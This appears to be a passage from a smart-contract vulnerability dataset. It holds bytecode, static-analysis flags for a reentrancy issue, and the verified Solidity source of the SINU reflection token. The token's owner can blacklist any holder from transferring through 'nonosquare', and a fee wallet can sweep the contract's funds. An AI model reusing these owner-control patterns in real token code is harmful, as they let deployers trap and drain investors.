1561086f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610893919061166b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610913919061166b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094381610518565b6000806109586000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bb57600080fd5b505af11580156109cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f4919061184d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6f57600080fd5b505af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190611817565b600d546001600160a01b0316336001600160a01b031614610af95760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600b55565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610d7657506000546001600160a01b03838116911614155b15610ef5576001600160a01b03831660009081526006602052604090205460ff16158015610dbd57506001600160a01b03821660009081526006602052604090205460ff16155b610dc657600080fd5b600f546001600160a01b038481169116148015610df15750600e546001600160a01b03838116911614155b8015610e1657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2b5750600f54600160b81b900460ff165b15610e8857601054811115610e3f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6357600080fd5b610e6e42601e611976565b6001600160a01b0383166000908152600760205260409020555b6000610e9330610518565b600f54909150600160a81b900460ff16158015610ebe5750600f546001600160a01b03858116911614155b8015610ed35750600f54600160b01b900460ff165b15610ef357610ee181611048565b478015610ef157610ef147610f3f565b505b505b610f008383836111d1565b505050565b60008184841115610f295760405162461bcd60e51b8152600401610479919061187b565b506000610f3684866119cf565b95945050505050565b600c546001600160a01b03166108fc610f598360026111dc565b6040518115909202916000818181858888f19350505050158015610f81573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9c8360026111dc565b6040518115909202916000818181858888f193505050501580156106a4573d6000803e3d6000fd5b600060085482111561102b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b600061103561121e565b905061104183826111dc565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109057611090611a17565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e457600080fd5b505afa1580156110f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111c919061166b565b8160018151811061112f5761112f611a17565b6001600160a01b039283166020918202929092010152600e546111559130911684610afe565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118e908590600090869030904290600401611905565b600060405180830381600087803b1580156111a857600080fd5b505af11580156111bc573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f00838383611241565b600061104183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b600080600061122b611366565b909250905061123a82826111dc565b9250505090565b600080600080600080611253876113ae565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611285908761140b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b4908661144d565b6001600160a01b0389166000908152600260205260409020556112d6816114ac565b6112e084836114f6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132591815260200190565b60405180910390a3505050505050505050565b600081836113595760405162461bcd60e51b8152600401610479919061187b565b506000610f36848661198e565b60085460009081906b033b2e3c9fd0803ce800000061138582826111dc565b8210156113a5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cb8a600a54600b5461151a565b92509250925060006113db61121e565b905060008060006113ee8e87878761156f565b919e509c509a509598509396509194505050505091939550919395565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f05565b60008061145a8385611976565b9050838110156110415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006114b661121e565b905060006114c483836115bf565b306000908152600260205260409020549091506114e1908261144d565b30600090815260026020526040902055505050565b600854611503908361140b565b600855600954611513908261144d565b6009555050565b6000808080611534606461152e89896115bf565b906111dc565b90506000611547606461152e8a896115bf565b9050600061155f826115598b8661140b565b9061140b565b9992985090965090945050505050565b600080808061157e88866115bf565b9050600061158c88876115bf565b9050600061159a88886115bf565b905060006115ac82611559868661140b565b939b939a50919850919650505050505050565b6000826115ce575060006103e0565b60006115da83856119b0565b9050826115e7858361198e565b146110415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b803561164981611a43565b919050565b60006020828403121561166057600080fd5b813561104181611a43565b60006020828403121561167d57600080fd5b815161104181611a43565b6000806040838503121561169b57600080fd5b82356116a681611a43565b915060208301356116b681611a43565b809150509250929050565b6000806000606084860312156116d657600080fd5b83356116e181611a43565b925060208401356116f181611a43565b929592945050506040919091013590565b6000806040838503121561171557600080fd5b823561172081611a43565b946020939093013593505050565b6000602080838503121561174157600080fd5b823567ffffffffffffffff8082111561175957600080fd5b818501915085601f83011261176d57600080fd5b81358181111561177f5761177f611a2d565b8060051b604051601f19603f830116810181811085821117156117a4576117a4611a2d565b604052828152858101935084860182860187018a10156117c357600080fd5b600095505b838610156117ed576117d98161163e565b8552600195909501949386019386016117c8565b5098975050505050505050565b60006020828403121561180c57600080fd5b813561104181611a58565b60006020828403121561182957600080fd5b815161104181611a58565b60006020828403121561184657600080fd5b5035919050565b60008060006060848603121561186257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a85785810183015185820160400152820161188c565b818111156118ba576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119555784516001600160a01b031683529383019391830191600101611930565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198957611989611a01565b500190565b6000826119ab57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119ca576119ca611a01565b500290565b6000828210156119e1576119e1611a01565b500390565b60006000198214156119fa576119fa611a01565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051557600080fd5b801515811461051557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122074f72da9de96f6ec7f2abff3aa47ce1f3f2e6b73449025e5ab172aeaf0de7eb864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 185 |
0x2e18dfc6f09e7a6e6d9379bdd8c209a8d2f70a91 | /**
*Submitted for verification at Etherscan.io on 2022-05-03
*/
/**
Telegram: https://t.me/SomethingTokenInu
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SomethingTokenInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Something Token Inu";
string private constant _symbol = "SINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x385733196050BA6312c867012E3380eBE3282e4E);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610345578063b87f137a14610365578063c3c8cd8014610385578063c9567bf91461039a578063dd62ed3e146103af57600080fd5b806370a08231146102a6578063715018a6146102c6578063751039fc146102db5780638da5cb5b146102f057806395d89b411461031857600080fd5b8063273123b7116100e7578063273123b714610215578063313ce567146102355780635932ead114610251578063677daa57146102715780636fc3eaec1461029157600080fd5b806306fdde031461012f578063095ea7b31461017d57806318160ddd146101ad5780631b3f71ae146101d357806323b872dd146101f557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526013815272536f6d657468696e6720546f6b656e20496e7560681b60208201525b604051610174919061173d565b60405180910390f35b34801561018957600080fd5b5061019d6101983660046117b7565b6103f5565b6040519015158152602001610174565b3480156101b957600080fd5b5068056bc75e2d631000005b604051908152602001610174565b3480156101df57600080fd5b506101f36101ee3660046117f9565b61040c565b005b34801561020157600080fd5b5061019d6102103660046118be565b6104ab565b34801561022157600080fd5b506101f36102303660046118ff565b610514565b34801561024157600080fd5b5060405160098152602001610174565b34801561025d57600080fd5b506101f361026c36600461192a565b61055f565b34801561027d57600080fd5b506101f361028c366004611947565b6105a7565b34801561029d57600080fd5b506101f3610602565b3480156102b257600080fd5b506101c56102c13660046118ff565b61062f565b3480156102d257600080fd5b506101f3610651565b3480156102e757600080fd5b506101f36106c5565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610174565b34801561032457600080fd5b5060408051808201909152600481526353494e5560e01b6020820152610167565b34801561035157600080fd5b5061019d6103603660046117b7565b610703565b34801561037157600080fd5b506101f3610380366004611947565b610710565b34801561039157600080fd5b506101f3610765565b3480156103a657600080fd5b506101f361079b565b3480156103bb57600080fd5b506101c56103ca366004611960565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610402338484610b50565b5060015b92915050565b6000546001600160a01b0316331461043f5760405162461bcd60e51b815260040161043690611999565b60405180910390fd5b60005b81518110156104a757600160066000848481518110610463576104636119ce565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049f816119fa565b915050610442565b5050565b60006104b8848484610c74565b61050a843361050585604051806060016040528060288152602001611b5d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611067565b610b50565b5060019392505050565b6000546001600160a01b0316331461053e5760405162461bcd60e51b815260040161043690611999565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105895760405162461bcd60e51b815260040161043690611999565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105d15760405162461bcd60e51b815260040161043690611999565b600081116105de57600080fd5b6105fc60646105f668056bc75e2d63100000846110a1565b9061112a565b600f5550565b600c546001600160a01b0316336001600160a01b03161461062257600080fd5b4761062c8161116c565b50565b6001600160a01b038116600090815260026020526040812054610406906111a6565b6000546001600160a01b0316331461067b5760405162461bcd60e51b815260040161043690611999565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ef5760405162461bcd60e51b815260040161043690611999565b68056bc75e2d63100000600f819055601055565b6000610402338484610c74565b6000546001600160a01b0316331461073a5760405162461bcd60e51b815260040161043690611999565b6000811161074757600080fd5b61075f60646105f668056bc75e2d63100000846110a1565b60105550565b600c546001600160a01b0316336001600160a01b03161461078557600080fd5b60006107903061062f565b905061062c81611223565b6000546001600160a01b031633146107c55760405162461bcd60e51b815260040161043690611999565b600e54600160a01b900460ff161561081f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610436565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085c308268056bc75e2d63100000610b50565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108be9190611a13565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092f9190611a13565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561097c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a09190611a13565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109d08161062f565b6000806109e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a4d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a729190611a30565b5050600e805461ffff60b01b191661010160b01b17905550610aa46103e86105f668056bc75e2d63100000600f6110a1565b600f55610ac16103e86105f668056bc75e2d63100000601e6110a1565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b2c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a79190611a5e565b6001600160a01b038316610bb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610436565b6001600160a01b038216610c135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610436565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610436565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610436565b60008111610d9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610436565b6000600a818155600b55546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b15611057576001600160a01b03831660009081526006602052604090205460ff16158015610e1757506001600160a01b03821660009081526006602052604090205460ff16155b610e2057600080fd5b600e546001600160a01b038481169116148015610e4b5750600d546001600160a01b03838116911614155b8015610e7057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e855750600e54600160b81b900460ff165b15610f8a57600f54811115610edc5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610436565b60105481610ee98461062f565b610ef39190611a7b565b1115610f415760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610436565b6001600160a01b0382166000908152600760205260409020544211610f6557600080fd5b610f7042601e611a7b565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fb55750600d546001600160a01b03848116911614155b8015610fda57506001600160a01b03831660009081526005602052604090205460ff16155b15610fea576000600a908155600b555b6000610ff53061062f565b600e54909150600160a81b900460ff161580156110205750600e546001600160a01b03858116911614155b80156110355750600e54600160b01b900460ff165b156110555761104381611223565b478015611053576110534761116c565b505b505b61106283838361139d565b505050565b6000818484111561108b5760405162461bcd60e51b8152600401610436919061173d565b5060006110988486611a93565b95945050505050565b6000826000036110b357506000610406565b60006110bf8385611aaa565b9050826110cc8583611ac9565b146111235760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610436565b9392505050565b600061112383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a8565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a7573d6000803e3d6000fd5b600060085482111561120d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610436565b60006112176113d6565b9050611123838261112a565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126b5761126b6119ce565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e89190611a13565b816001815181106112fb576112fb6119ce565b6001600160a01b039283166020918202929092010152600d546113219130911684610b50565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135a908590600090869030904290600401611aeb565b600060405180830381600087803b15801561137457600080fd5b505af1158015611388573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110628383836113f9565b600081836113c95760405162461bcd60e51b8152600401610436919061173d565b5060006110988486611ac9565b60008060006113e36114f0565b90925090506113f2828261112a565b9250505090565b60008060008060008061140b87611532565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143d908761158f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146c90866115d1565b6001600160a01b03891660009081526002602052604090205561148e81611630565b611498848361167a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114dd91815260200190565b60405180910390a3505050505050505050565b600854600090819068056bc75e2d6310000061150c828261112a565b8210156115295750506008549268056bc75e2d6310000092509050565b90939092509050565b600080600080600080600080600061154f8a600a54600b5461169e565b925092509250600061155f6113d6565b905060008060006115728e8787876116ed565b919e509c509a509598509396509194505050505091939550919395565b600061112383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611067565b6000806115de8385611a7b565b9050838110156111235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610436565b600061163a6113d6565b9050600061164883836110a1565b3060009081526002602052604090205490915061166590826115d1565b30600090815260026020526040902055505050565b600854611687908361158f565b60085560095461169790826115d1565b6009555050565b60008080806116b260646105f689896110a1565b905060006116c560646105f68a896110a1565b905060006116dd826116d78b8661158f565b9061158f565b9992985090965090945050505050565b60008080806116fc88866110a1565b9050600061170a88876110a1565b9050600061171888886110a1565b9050600061172a826116d7868661158f565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561176a5785810183015185820160400152820161174e565b8181111561177c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062c57600080fd5b80356117b281611792565b919050565b600080604083850312156117ca57600080fd5b82356117d581611792565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180c57600080fd5b823567ffffffffffffffff8082111561182457600080fd5b818501915085601f83011261183857600080fd5b81358181111561184a5761184a6117e3565b8060051b604051601f19603f8301168101818110858211171561186f5761186f6117e3565b60405291825284820192508381018501918883111561188d57600080fd5b